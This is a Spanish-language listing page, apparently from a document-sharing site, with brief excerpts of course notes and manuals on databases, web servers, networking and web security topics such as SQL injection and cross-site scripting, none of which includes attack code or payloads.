Instituto Tecnológico de Las América. Materia Sistemas operativos III. Temas. Facilitador José Doñe. Sustentante Robín Bienvenido Disla Ramirez Instituto Tecnológico de Las América Materia Sistemas operativos III Temas Servidor Web Apache Facilitador José Doñe Sustentante Robín Bienvenido Disla Ramirez Matricula 2011-2505 Grupo 1 Servidor Web

Más detalles

ADMINISTRACIÓN DE BASE DE DATOS

ADMINISTRACIÓN DE BASE DE DATOS SQL SERVER T-SQL QUERY s es ADMINISTRADOR GRÁFICO SGBD Elementos objetos Tablas Procedimientos Triggers Funciones Usuarios Permiso Roles Contraseñas Programas DTS (Data Transfer System) Exportación e Importación

Más detalles

Su Seguridad es Nuestro Éxito

Su Seguridad es Nuestro Éxito Su Seguridad es Nuestro Éxito c. Santander, 101. Edif. A. 2º I 08030 Barcelona I Tel.: 93 305 13 18 I Fax: 93 278 22 48 I info@isecauditors.com I www.isecauditors.com OWASP Conference 2007 Barcelona, Julio

Más detalles

INTRANET: MANUAL DE INSTALACIÓN

INTRANET: MANUAL DE INSTALACIÓN INTRANET: MANUAL DE INSTALACIÓN 1 de 15 INDICE 1 Requisitos mínimos... 3 2 Instalación... 4 2.1 Instalación de los ficheros de la Intranet... 4 2.2 Registro de las librerías... 4 2.3 Configuración del

Más detalles

MySQL: Guía de Referencia

MySQL: Guía de Referencia Instituto Tecnologico Superior de Coatzacoalcos (ITESCO). MySQL: Guía de Referencia Farid Alfredo Bielma Lopez fbielma@fbielma.org http://fbielma.org/course/fbielma/curso_mysql.pdf Resumen del curso Algunas

Más detalles

BASE DE DATOS QUÉ ES UNA BASE DE DATOS?

BASE DE DATOS QUÉ ES UNA BASE DE DATOS? BASE DE DATOS BASE DE DATOS QUÉ ES UNA BASE DE DATOS? Una base de datos se puede definir como un conjunto de información relacionada que se encuentra agrupada ó estructurada. Actualmente la mayoría de

Más detalles

Manual de NetBeans y XAMPP

Manual de NetBeans y XAMPP Three Headed Monkey Manual de NetBeans y XAMPP Versión 1.0 Guillermo Montoro Delgado Raúl Nadal Burgos Juan María Ruiz Tinas Lunes, 22 de marzo de 2010 Contenido NetBeans... 2 Qué es NetBeans?... 2 Instalación

Más detalles

Instalación, creación y configuración del servicio FTP

Instalación, creación y configuración del servicio FTP Instalación, creación y configuración del servicio OBJETIVOS Instalar el servicio de en Windows. Configurar y administrar el Servicio de en Windows. Prueba de acceso desde la LAN al servidor. Apertura

Más detalles

TALLER DE SQL INJECTION

TALLER DE SQL INJECTION TALLER DE SQL INJECTION EDYTED BY 4TF3 Definición de Injectiòn SQL Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación

Más detalles

Capítulo 1 Documentos HTML5

Capítulo 1 Documentos HTML5 Capítulo 1 Documentos HTML5 1.1 Componentes básicos HTML5 provee básicamente tres características: estructura, estilo y funcionalidad. Nunca fue declarado oficialmente pero, incluso cuando algunas APIs

Más detalles

Base de datos relacional

Base de datos relacional Base de datos relacional Una base de datos relacional es una base de datos que cumple con el modelo relacional, el cual es el modelo más utilizado en la actualidad para modelar problemas reales y administrar

Más detalles

Hacking ético y Seguridad en Red

Hacking ético y Seguridad en Red TFC: Administración de Redes y Sistemas Operativos Hacking ético y Seguridad en Red Alumno: Cristiano Dias Consultor: José Manuel Castillo Pedrosa 1 Índice Introducción... 3 Perfil del Hacker ético...

Más detalles

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen Web: Ataque y defensa Introducción. Cross Site Scripting (XSS). SQL Injection. Programador? quien yo?. Ataques NG. Prevención.

Más detalles

Testing de Seguridad de Aplicaciones Web

Testing de Seguridad de Aplicaciones Web Testing de Seguridad de Aplicaciones Web Julio C. Ardita, CISM. jardita@cybsec.com 16 de Noviembre de 2013 Coatzacoalcos - MEXICO Temario - Protocolo HTTP - Herramientas de Testing Web. - Vulnerabilidades

Más detalles

Ejemplos básicos de webmathematica para profesores

Ejemplos básicos de webmathematica para profesores Ejemplos básicos de webmathematica para profesores Cualquier cálculo hecho dentro Mathematica puede ser realizado usando webmathematica con dos limitaciones significativas. Primero, al usar webmathematica,

Más detalles

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro www.noveria.es antonio@noveria.es

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro www.noveria.es antonio@noveria.es Cross Site Scripting Conceptos Básicos y Casos prácticos Antonio González Castro www.noveria.es antonio@noveria.es # Definición Cross Site Scripting o también conocido como XSS por sus siglas en inglés,

Más detalles

Manejo de datos BLOB con PHP y MySQL

Manejo de datos BLOB con PHP y MySQL Manejo de datos BLOB con PHP y MySQL Los detalles acerca del almacenamiento y recuperación de archivos binarios en una base de datos MySQL con el uso de PHP. Fecha de creación: 29 May del 2003-12:39 pm

Más detalles

Manual de ACCESS Intermedio

Manual de ACCESS Intermedio Manual de ACCESS Intermedio Funciones agregadas (GROUP BY) Las funciones agregadas proporcionan información estadística sobre conjuntos de registros. Por ejemplo, puede usar una función agregada para contar

Más detalles

Introducción a JDBC - Base de datos con Java

Introducción a JDBC - Base de datos con Java Introducción a JDBC - Base de datos con Java Objetivos: Reconocer los objetos para trabajar con bases de datos. Desarrollar aplicaciones que trabajen con bases de datos. Temas: Java Database Connectivity

Más detalles

Curso de PHP con MySQL Gratis

Curso de PHP con MySQL Gratis Curso de PHP con MySQL Gratis Introducción Este mini curso o mini tutorial de PHP le ayudará a realizar cualquier sistema para que pueda insertar uno o varios registros a una base de datos con MySQL, este

Más detalles

Bases de Datos Relacionales

Bases de Datos Relacionales 2da. Parte Bases de Datos Relacionales Objetivos de la Clase SQL. Tipos de sentencias SQL Describir los tipos de dato que se pueden utilizar al especificar la definición de columnas. Sentencias SQL Select.

Más detalles

MANUAL BÁSICO DEL LENGUAJE SQL

MANUAL BÁSICO DEL LENGUAJE SQL MANUAL BÁSICO DEL LENGUAJE SQL ESCUELA COLOMBIANA DE INGENIERÍA JULIO GARAVITO LABORATORIO DE INFORMÁTICA BOGOTÁ D. C. 2007-2 TABLA DE CONTENIDO INTRODUCCIÓN... 3 1. COMANDOS... 4 1.1 Comandos DLL... 4

Más detalles

Modulo 1 El lenguaje Java

Modulo 1 El lenguaje Java Modulo 1 El lenguaje Java 13 - Codificación en Java Una de las grandes diferencias entre Java y Pascal en cuando a la codificación es que Java se trata de un lenguaje de los llamados case sensitive Esto

Más detalles

Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13

Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 Práctico Seguridad Sistemas Operativos Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 1) Suponga que se previene la ejecucion de datos localizados en la pila de una funcion (osea,

Más detalles

Preguntas y respuestas sobre el cifrado de la información personal. La guía para aprender a cifrar tu información

Preguntas y respuestas sobre el cifrado de la información personal. La guía para aprender a cifrar tu información Guía de Cifrado Preguntas y respuestas sobre el cifrado de la información personal La guía para aprender a cifrar tu información 2 Qué es lo que estamos cuidando? A través del cifrado cuidamos de fotos,

Más detalles

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos.

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos. Introducción a la seguridad Web: La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos. El gran problema no está en que esas páginas sean vulnerables y con ello podamos pasar un rato

Más detalles

Creación y administración de grupos de dominio

Creación y administración de grupos de dominio Creación y administración de grupos de dominio Contenido Descripción general 1 a los grupos de Windows 2000 2 Tipos y ámbitos de los grupos 5 Grupos integrados y predefinidos en un dominio 7 Estrategia

Más detalles

Infraestructura Tecnológica. Sesión 8: Configurar y administrar almacenamiento virtual

Infraestructura Tecnológica. Sesión 8: Configurar y administrar almacenamiento virtual Infraestructura Tecnológica Sesión 8: Configurar y administrar almacenamiento virtual Contextualización Como sabemos, actualmente los servicios y medios de almacenamiento de información son muy variados,

Más detalles

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Temario 1. Introducción 2. Cross Site Scripting (XSS) 3. Inyección SQL 4. Nuestro código en el servidor 5.

Más detalles

UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas. SEGURIDAD INFORMATICA Tema: Mysql Injection

UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas. SEGURIDAD INFORMATICA Tema: Mysql Injection UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas SEGURIDAD INFORMATICA Tema: Mysql Injection Autora: Doris María Mera Mero Curso: 7mo A Fecha: Martes 30 de Julio del

Más detalles

Instituto Tecnológico de Las Américas (ITLA)

Instituto Tecnológico de Las Américas (ITLA) Instituto Tecnológico de Las Américas (ITLA) Nombre: Gregori Carmona Lorenzo ID: 2011-2435 Asignatura: Sistemas Operativos III Instructor: José Doñe Tema: Practica extra: Apache Un servidor web es un programa

Más detalles

Lenguaje de Consulta Estructurado S Q. Lenguaje de Consulta Estructurado. Wael Najjar /

Lenguaje de Consulta Estructurado S Q. Lenguaje de Consulta Estructurado. Wael Najjar / S Q Lenguaje de Consulta Estructurado L Wael Najjar / Wael Stephenson Najjar / Prieto Stephenson Prieto Contenido Parte I El Lenguaje de Consulta Estructurado. Lo que se puede hacer. Lenguaje Estandarizado.

Más detalles

DHCP. Dynamic Host Configuration Protocol. Protocolo de Configuración Dinámica de Host. Administración de Redes de Computadores

DHCP. Dynamic Host Configuration Protocol. Protocolo de Configuración Dinámica de Host. Administración de Redes de Computadores DHCP Dynamic Host Configuration Protocol Protocolo de Configuración Dinámica de Host Administración de Redes de Computadores John Deivis Tabares Tobón Luis Fernando Ramirez CONFIGURACION DEL SERVIDOR DHCP

Más detalles

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO UNIVERSIDADE DA CORUÑA Departamento de Tecnoloxías da Información e as Comunicacións LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO PRÁCTICA 4: Implementación de un Cliente de Correo

Más detalles

Metasploit framework, al igual que nessus, su versión paga es mucho más informática que la gratuita.

Metasploit framework, al igual que nessus, su versión paga es mucho más informática que la gratuita. Ethical Hacking en modo Gráfico Herramientas para hacking ético hay muchas, las profesionales o pagas ofrecen informes mucho más detallados que las no pagas, pero ambas nos dan un indicio de que es lo

Más detalles

3.1 Introducción a Wireshark

3.1 Introducción a Wireshark 3.1 Introducción a Wireshark Una herramienta básica para observar los mensajes intercambiados entre aplicaciones es un analizador de protocolos (packet sniffer). Un analizador de protocolos es un elemento

Más detalles

Capítulo 1 Introducción a la Computación

Capítulo 1 Introducción a la Computación Capítulo 1 Introducción a la Computación 1 MEMORIA PRINCIPAL (RAM) DISPOSITIVOS DE ENTRADA (Teclado, Ratón, etc) C P U DISPOSITIVOS DE SALIDA (Monitor, Impresora, etc.) ALMACENAMIENTO (Memoria Secundaria:

Más detalles

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web Universidad ORT Uruguay Mejorando la Seguridad en Aplicaciones Web Ing. Cecilia Belletti Ing. Angel Caffa, MSc Ing. Isaac Rodríguez IntegraTICs 7 de diciembre, 2006 AGENDA Introducción La Web Promesas

Más detalles

CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS

CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS Capítulo 2 Sistemas de Detección de Intrusos 7 CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS En este capítulo se definen los sistemas de detección de intrusos y su relación con los ataques basados en el

Más detalles

GUÍA RED SOCIAL FACEBOOK

GUÍA RED SOCIAL FACEBOOK GUÍA RED SOCIAL FACEBOOK Qué es una Red Social? Una Red Sociales un sitio en internet donde compartir información, mensajes, ideas, fotos, etc., con amigos, conocidos y desconocidos. Para acceder a una

Más detalles

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet Hacking Ético Web I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com @ciyinet Índice Introducción OWASP OWASP Top 10 (2010) Demostración ataques Inyección SQL

Más detalles

Offensive State Auditoría de Aplicaciones Web

Offensive State Auditoría de Aplicaciones Web Offensive State Auditoría de Aplicaciones Web Tabla de contenidos Servicio de auditoría en aplicaciones web...3 Por qué?...3 Metodologías...4 Etapas y pruebas a realizar...4 1. Fingerprint del objetivo...4

Más detalles

CONSULTAS DE RESUMEN SQL SERVER 2005. Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE

CONSULTAS DE RESUMEN SQL SERVER 2005. Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE CONSULTAS DE RESUMEN SQL SERVER 2005 Manual de Referencia para usuarios Salomón Ccance CCANCE WEBSITE CONSULTAS DE RESUMEN Una de las funcionalidades de la sentencia SELECT es el permitir obtener resúmenes

Más detalles

HTTP Introducción. Redes de Datos Ing. Marcelo Utard / Ing. Pablo Ronco FACULTAD DE INGENIERIA UNIVERSIDAD DE BUENOS AIRES

HTTP Introducción. Redes de Datos Ing. Marcelo Utard / Ing. Pablo Ronco FACULTAD DE INGENIERIA UNIVERSIDAD DE BUENOS AIRES Introducción Protocolo de capa de aplicación utilizado para la transferencia de Recursos u objetos. Opera sobre TCP típicamente en el puerto 80 Simple Stateless Genérico Utiliza las extenciones MIME. Transporte

Más detalles

MySQL y Sesiones en PHP. Área de Ingeniería Telemática

MySQL y Sesiones en PHP. Área de Ingeniería Telemática MySQL y Sesiones en PHP Contenido Repaso de SQL PHP y MySQL MySQL en PHP 2 Numéricos Standard: Repaso SQL: tipo de datos INTEGER o INT, SMALLINT, DECIMAL o DEC, NUMERIC FLOAT, REAL, DOUBLE PRECISION BIT

Más detalles

GLOSARIO. Arquitectura: Funcionamiento, estructura y diseño de una plataforma de desarrollo.

GLOSARIO. Arquitectura: Funcionamiento, estructura y diseño de una plataforma de desarrollo. GLOSARIO Actor: Un actor es un usuario del sistema. Esto incluye usuarios humanos y otros sistemas computacionales. Un actor usa un Caso de Uso para ejecutar una porción de trabajo de valor para el negocio.

Más detalles

==== Introducción. ==== Buscando un fallo

==== Introducción. ==== Buscando un fallo =============================== Horde/Imp: Cross Site Scripting in Email Subject =============================== FraMe - frame at kernelpanik.org http://www.kernelpanik.org ===============================

Más detalles

Agente local Aranda GNU/Linux. [Manual Instalación] Todos los derechos reservados Aranda Software www.arandasoft.com [1]

Agente local Aranda GNU/Linux. [Manual Instalación] Todos los derechos reservados Aranda Software www.arandasoft.com [1] Todos los derechos reservados Aranda Software www.arandasoft.com [1] Introducción El Agente Aranda para sistemas Linux se encarga de recolectar la siguiente información en cada una de las estaciones de

Más detalles

Introducción a la Firma Electrónica en MIDAS

Introducción a la Firma Electrónica en MIDAS Introducción a la Firma Electrónica en MIDAS Firma Digital Introducción. El Módulo para la Integración de Documentos y Acceso a los Sistemas(MIDAS) emplea la firma digital como método de aseguramiento

Más detalles

Apéndice 5 Manual de usuario de ColeXión. ColeXión 1.0. Manual de usuario

Apéndice 5 Manual de usuario de ColeXión. ColeXión 1.0. Manual de usuario Apéndice 5 Manual de usuario de ColeXión ColeXión 1.0 Manual de usuario Índice 1. Qué es ColeXión?... 2 2. Requerimientos del sistema... 3 3. Instalación de ColeXión... 3 4. Creación de un nuevo esquema...

Más detalles

Utilización del programa de Orabench Versión 9.2.0 para Migración. Describir los pasos para la utilización del programa Orabench 9.2.0 de Oracle.

Utilización del programa de Orabench Versión 9.2.0 para Migración. Describir los pasos para la utilización del programa Orabench 9.2.0 de Oracle. Página 1 de 15 1. Objetivo y Alcance Describir los pasos para la utilización del programa Orabench 9.2.0 de Oracle. Comprende la utilización del Programa Orabench de Oracle. 2 Responsable El responsable

Más detalles

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com Seminario de SEGURIDAD WEB Pedro Villena Fernández www.consultoriainnova.com Algunas cosas antes de empezar... Este seminario NO tiene la intención de piratear otras webs. Los ataques que aprenderemos

Más detalles

3 Consultas y subconsultas

3 Consultas y subconsultas 3 Consultas y subconsultas En SQL, la sentencia SELECT permite escribir una consulta o requerimiento de acceso a datos almacenados en una base de datos relacional. Dichas consultas SQL van desde una operación

Más detalles

TUTORIAL DE PHP. M. en C. Erika Vilches. Parte 1. http://www.erikavilches.com

TUTORIAL DE PHP. M. en C. Erika Vilches. Parte 1. http://www.erikavilches.com TUTORIAL DE PHP M. en C. Erika Vilches Parte 1 http://www.erikavilches.com Scripting del Lado del Servidor PHP: Acrónimo recursivo PHP: Hypertext Preprocessor El módulo PHP se adjunta al servidor web,

Más detalles

TUTORIAL DESARROLLO DE APLICACIONES PARA EVOLUTION CON MS ACCESS

TUTORIAL DESARROLLO DE APLICACIONES PARA EVOLUTION CON MS ACCESS TUTORIAL DESARROLLO DE APLICACIONES PARA EVOLUTION CON MS ACCESS 1 Introducción... 3 2 Despliegue de la aplicación de ejemplo... 3 2.1 Requisitos previos... 3 2.2 Despliegue de la aplicación... 3 3 Prueba

Más detalles

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS Servicio DNS - 1 - Servicio DNS...- 3 - Definición... - 3 - Instalación... - 5 - Configuración del Servidor DNS...- 10 - - 2 - Servicio DNS Definición

Más detalles

Dossier de prácticas

Dossier de prácticas Dossier de prácticas Intranet / Extranet Màster d Enginyeria del Software Desenvolupament d aplicacions sobre Internet Fundació Politècnica de Catalunya Jaume Moral Ros Albert Obiols Vives 1 Dossier de

Más detalles

Privacidad. <Nombre> <Institución> <e-mail>

Privacidad. <Nombre> <Institución> <e-mail> Privacidad Contenido Privacidad Riesgos principales Cuidados a tener en cuenta Fuentes Privacidad (1/3) En Internet tu privacidad puede verse expuesta: independientemente

Más detalles

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN CONCEPTOS DE PRUEBAS DE APLICACIÓN El departamento de Testing se encarga de diseñar, planear y aplicar el rol de pruebas a los sistemas que el PROVEEDOR

Más detalles

PL/SQL. Con PL/SQL vamos a poder programar las unidades de programa de la base de datos Oracle:

PL/SQL. Con PL/SQL vamos a poder programar las unidades de programa de la base de datos Oracle: PL/SQL (Procedural Language/Structured Query Language) PL/SQL es el lenguaje de programación que proporciona Oracle para extender el SQL estándar con otro tipo de instrucciones y elementos propios de los

Más detalles

MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD

MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD Fecha última revisión: Diciembre 2010 Tareas Programadas TAREAS PROGRAMADAS... 3 LAS TAREAS PROGRAMADAS EN GOTELGEST.NET... 4 A) DAR DE ALTA UN USUARIO...

Más detalles

Detectar y solucionar infecciones en un sitio web

Detectar y solucionar infecciones en un sitio web Detectar y solucionar infecciones en un sitio web Cardenal Gardoki, 1 48008 BILBAO (Vizcaya) Teléfono: 902 012 199 www.hostalia.com Las infecciones que sufren los sitios web son uno de los principales

Más detalles

LAS SUBCONSULTAS SQL SERVER 2005. Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE

LAS SUBCONSULTAS SQL SERVER 2005. Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE LAS SUBCONSULTAS SQL SERVER 2005 Manual de Referencia para usuarios Salomón Ccance CCANCE WEBSITE LAS SUBCONSULTAS Una subconsulta es una consulta que aparece dentro de otra consulta o subconsultas, en

Más detalles

GUIA DE LABORATORIO N 9 B. (000Webhost Php- Para desarrollar en casa)

GUIA DE LABORATORIO N 9 B. (000Webhost Php- Para desarrollar en casa) GUIA DE LABORATORIO N 9 B (000Webhost Php- Para desarrollar en casa) Objetivo: Crear servicios web utilizando la arquitectura REST, para obtener información desde un servidor web gratuito que se conecta

Más detalles

El servidor Web Tema 2.- Nivel de aplicación en Internet

El servidor Web Tema 2.- Nivel de aplicación en Internet El servidor Web Tema 2.- Nivel de aplicación en Internet Dr. Daniel Morató Redes de Computadores Ingeniero Técnico en Informática de Gestión, 2º curso Temario 0.- Presentación de la asignatura 1.- Introducción

Más detalles

Desarrollo y servicios web

Desarrollo y servicios web Desarrollo y servicios web Luisa Fernanda Rincón Pérez 2015-1 Qué vimos la clase pasada? 1. Fin tutorial HTML 2. Nombres de dominio 3. URLs 3 Sesión 4. Método GET - POST Qué haremos hoy? 1. Tipos de solicitudes

Más detalles

MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER ACTIVEX. Versión 4.0

MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER ACTIVEX. Versión 4.0 MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER ACTIVEX Versión 4.0 1 Control Versión 1.0 Fecha: 01-07-2011 Modificaciones: Primera versión. Versión 2.0 Fecha: 22-09-2011 Modificaciones: Adaptado a websigner

Más detalles

Portal Del Emisor MANUAL DEL USUARIO. Plataforma de Facturación Electrónica

Portal Del Emisor MANUAL DEL USUARIO. Plataforma de Facturación Electrónica Portal Del Emisor MANUAL DEL USUARIO Plataforma de Facturación Electrónica 1. Índice 1. Índice... 2 2. Descripción General... 3 2.1. Alcance... 3 2.2. Flujo de navegación... 4 2.3. Perfil del Usuario...

Más detalles

SQL dinámico en Transact SQL

SQL dinámico en Transact SQL SQL dinámico en Transact SQL Transact SQL permite dos formas de ejecutar SQL dinamico(construir sentencias SQL dinamicamente para ejecutarlas en la base de datos): La instrucción EXECUTE - o simplemente

Más detalles

Formas de llevar a cabo un backup de una base de datos MySQL

Formas de llevar a cabo un backup de una base de datos MySQL Formas de llevar a cabo un backup de una base de datos MySQL Calle San Rafael, 14 28108 Alcobendas (Madrid) 902 90 10 20 www..com Introducción Muchas aplicaciones web hacen uso de bases de datos donde

Más detalles

Máster Profesional en Tecnologías de Seguridad. Seguridad en la web

Máster Profesional en Tecnologías de Seguridad. Seguridad en la web Máster Profesional en Tecnologías de Seguridad Módulo VI - Programación Segura Seguridad en la web @josereyero http://www.reyero.net consulting@reyero.net Seguridad en la Web Introducción y objetivos Programa

Más detalles

MENSAREX: SISTEMA DE MENSAJERÍA DEL MINREX Gretel García Gómez gretel@minrex.gov.cu Ministerio de Relaciones Exteriores Cuba.

MENSAREX: SISTEMA DE MENSAJERÍA DEL MINREX Gretel García Gómez gretel@minrex.gov.cu Ministerio de Relaciones Exteriores Cuba. MENSAREX: SISTEMA DE MENSAJERÍA DEL MINREX Gretel García Gómez gretel@minrex.gov.cu Ministerio de Relaciones Exteriores Cuba Resumen El presente trabajo da solución a dos de los problemas informáticos

Más detalles

Bases de datos: Sistemas de bases de datos:

Bases de datos: Sistemas de bases de datos: Bases de datos: Sistemas de bases de datos: Un sistema de bases de datos es básicamente un sistema para archivar en computador, es decir, es un sistema computarizado cuyo propósito general es mantener

Más detalles